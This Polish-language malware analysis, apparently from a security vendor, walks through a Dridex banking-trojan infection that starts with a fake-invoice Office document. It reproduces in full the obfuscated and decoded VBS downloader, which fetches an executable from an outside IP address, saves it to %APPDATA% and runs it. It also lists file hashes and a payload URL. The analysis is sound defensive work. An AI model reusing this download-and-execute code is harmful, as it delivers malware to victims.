Infekcja krok po kroku
Krok 1: Kampania spamowa.
Proces rozpoczyna się od wysłania tysięcy e-maili do potencjalnych ofiar, zawierających informacje o rzekomym zamówieniu. W załączniku znajduje się dokument Microsoft Office z fałszywą fakturą.
Krok 2. Otwarcie dokumentu Microsoft Office
Dokument nazywa się YU96260LFZ.doc natomiast Secure Hash Algorithm, dzięki któremu można dokładnie określić i zidentyfikować plik, przedstawia się następująco:
SHA256 e2d878a43607c04f151052e81a560a80525a343ea4e719c3a79e1cc8c45e47c5
Nazwa rozszerzenia sugeruje, że mamy do czynienia z plikiem typu.doc, jednak w rzeczywistości jest to dokument MHTML. To standard dodawania zasobów, które w normalnych stronach HTTP są pobierane z zewnątrz, takich jak obrazy lub pliki dźwiękowe, do tego samego pliku co kod HTML. Protokół jest wspierany przez Microsoft Word, używający rozszerzenia mht. Zakładamy, że napastnik oryginalnie wygenerował plik.mht i zamienił rozszerzenie na.doc. Dlaczego? Cyberprzestępcy używają znanych i popularnych rozszerzeń, bowiem użytkownicy nie obawiają się otwierać dokumentów ze znanymi końcówkami. Ponadto pliki.mht oraz.doc dzielą tę samą ikonę, w rezultacie użytkownicy stają się mniej podejrzliwi.
Poniższy dokument zawiera makro. Kiedy użytkownik otworzy dokument widzi następującą wiadomość.
Komunikat na samej górze informuje, że makro jest wyłączone, co jest dobrą informacją dla użytkownika. Pozostałe trzy linijki są kompletnie nieczytelne. Warto także zwrócić uwagę na wpis “If you document has……” zawiera błąd gramatyczny – zamiast “you” powinno pojawić się “your”.
Co się dzieje dalej? Oczywiście uruchomienie makra, powoduje, że użytkownik pobiera złośliwy kod.
paul@gdata:~/ $ oledump.py -p plugin_http_heuristics.py file.mso
1: 541 ‘PROJECT’
2: 98 ‘PROJECTwm’
3: m 818 ‘VBA/Module2’
Plugin: HTTP Heuristics plugin
Module2
4: M 1607 ‘VBA/ThisDocument’
Plugin: HTTP Heuristics plugin
‘N\x18\xac\x0e\x87.\x99\xe9\xed’
5: 3262 ‘VBA/_VBA_PROJECT’
6: 627 ‘VBA/dir’
7: M 5305
‘VBA/\xd0\xb0\xd1\x86\xd1\x83\xd0\xba34\xd0\xba\xd1\x86\xd1\x83\xd0\xbc’
Plugin: HTTP Heuristics plugin
hxxp://pastebin.com/download.php?i=VTd9HVkz
Pastebin.com to strona internetowa umożliwiające tymczasowe przechowywanie dokumentów tekstowych oraz możliwość ich współdzielenia, poprzez udostępnianie linku. Gro użytkowników serwisu stanowią developerzy przechowujący kody źródłowe, co jeszcze bardziej go uwiarygodnia w oczach potencjalnych ofiar. Poza tym wygodna i przejrzysta obsługa serwisu znacznie ułatwia zadanie cyberprzestępcom.
Krok 3. Payload hostowany na Pastebin.com
Dokument tekstowy skonfigurowany przez napastników jest udostępniany jako skrypt VBS (Visual Basic Script). Skrypt został zamaskowany w dość prosty sposób. Poniżej zamieszczamy początek zakamuflowanego kodu:
dim HGyu87f7Usf: Set HGyu87f7Usf = createobject(Chr(77) & Chr(105) &
Chr(99) & Chr(114) & Chr(111) & Chr(115) & Chr(111) & Chr(102) &
Chr(116) & Chr(46) & Chr(88) & Chr(77) & Chr(76) & Chr(72) & Chr(84) &
Chr(84) & Chr(80) )
dim oUIOGuiwefff: Set oUIOGuiwefff = createobject(Chr(65) & Chr(100) &
Chr(111) & Chr(100) & Chr(98) & Chr(46) & Chr(83) & Chr(116) & Chr(114) & Chr(101) & Chr(97) & Chr(109) )
HGyu87f7Usf.Open “GET”, “http://91.227.18.18/stat/get.php”, False
HGyu87f7Usf.Send
Set dfgfderer = WScript.CreateObject(Chr(87) & Chr(83) & Chr(99) &
Chr(114) & Chr(105) & Chr(112) & Chr(116) & Chr(46) & Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) ).Environment(Chr(80) & Chr(114) &
Chr(111) & Chr(99) & Chr(101) & Chr(115) & Chr(115) )
iyUGbuwerff = dfgfderer(Chr(65) & Chr(80) & Chr(80) & Chr(68) & Chr(65) & Chr(84) & Chr(65) )
iyUGUIvbuiwe7vhJ = iyUGbuwerff + Chr(92) & Chr(111) & Chr(56) & Chr(50) & Chr(51) & Chr(55) & Chr(52) & Chr(50) & Chr(51) & Chr(46) & Chr(101) & Chr(120) & Chr(101)
with oUIOGuiwefff
.type = 1
.open
.write HGyu87f7Usf.responseBody
.savetofile iyUGUIvbuiwe7vhJ, 2
end with
Set uyGUYhi8wef = CreateObject(Chr(83) & Chr(104) & Chr(101) & Chr(108) & Chr(108) & Chr(46) & Chr(65) & Chr(112) & Chr(112) & Chr(108) &
Chr(105) & Chr(99) & Chr(97) & Chr(116) & Chr(105) & Chr(111) & Chr(110) ) uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ
Poniżej odmaskowany kod:
dim HGyu87f7Usf: Set HGyu87f7Usf = createobject(Microsoft.XMLHTTP )
dim oUIOGuiwefff: Set oUIOGuiwefff = createobject(Adodb.Stream )
HGyu87f7Usf.Open “GET”, “http://91.227.18.18/stat/get.php”, False
HGyu87f7Usf.Send
Set dfgfderer = WScript.CreateObject(WScript.Shell ).Environment(Process )
iyUGbuwerff = dfgfderer(APPDATA )
iyUGUIvbuiwe7vhJ = iyUGbuwerff + \o8237423.exe
with oUIOGuiwefff
.type = 1
.open
.write HGyu87f7Usf.responseBody
.savetofile iyUGUIvbuiwe7vhJ, 2
end with
Set uyGUYhi8wef = CreateObject(Shell.Application )
uyGUYhi8wef.Open iyUGUIvbuiwe7vhJ
VBS został pobrany i wykonany (the/get.php link) zainstalowany w %APPDATA% jako plik o nazwie o8237423.exe.
Krok 4. Downloader & payload
Plik o8237423.exe to downloader. Zanim się uruchomi, dąży do uzyskania uprawnień administratora przez ominięcie UAC ( Kontrola konta użytkownika). Downloader wykonuje to zadanie, wykorzystując popularny trik polegający na ukryciu okienka UAC. W tym celu posługuje się plikiem.sdb, Więcej informacji na temat UAC można znaleźć na stronie ttps://support.microsoft.com/en-us/kb/3045645. Uaktualnienie, o którym informuje Microsoft, określa się jako opcjonalne. Jednak zalecamy jego zastosowanie, aby zapobiec opisanym powyżej próbom oszustwa.
Pobrany komponent generuje konfigurację wymaganą do działania i rozprzestrzeniania trojana Dridex. Więcej informacji o bankowych trojanach można znaleźć na stronie.. https://secure.gd/dl-en-pcmwr201402.
Poniżej znajduje się przykładowa konfiguracja próbki Trojana, który zaatakował użytkowników we Francji i Wielkiej Brytanii.
Ostatecznie biblioteka (payload) została pobrana z jednego serwerów, wymienionych w konfiguracji. Hash tej biblioteki przedstawia się następująco: 0305dda6ec81e8d8ff90152094d5e5e0f8914aeb6d984ee48d72f405a9b90f90 i jest dopasowany do głównego payloadu trojana Dridex.
Przykłady ataków trojana Dridex w różnych krajach
Słyszeliśmy i czytaliśmy o kilku przypadkach, kiedy ataki przeprowadzane za pomocą Dridexa zakończyły się sukcesem, czyli kradzieżą pieniędzy z firmowych kont, najczęściej dotyczyły one MSP. W maju Trojan wykazywał się szczególnie dużą aktywnością w Belgii, gdzie zainfekował 35 tys. maszyn wykorzystujących specjalistyczne systemy bankowe. Również media we Francji szeroko informowały o pojawieniu się zagrożenia Dridex.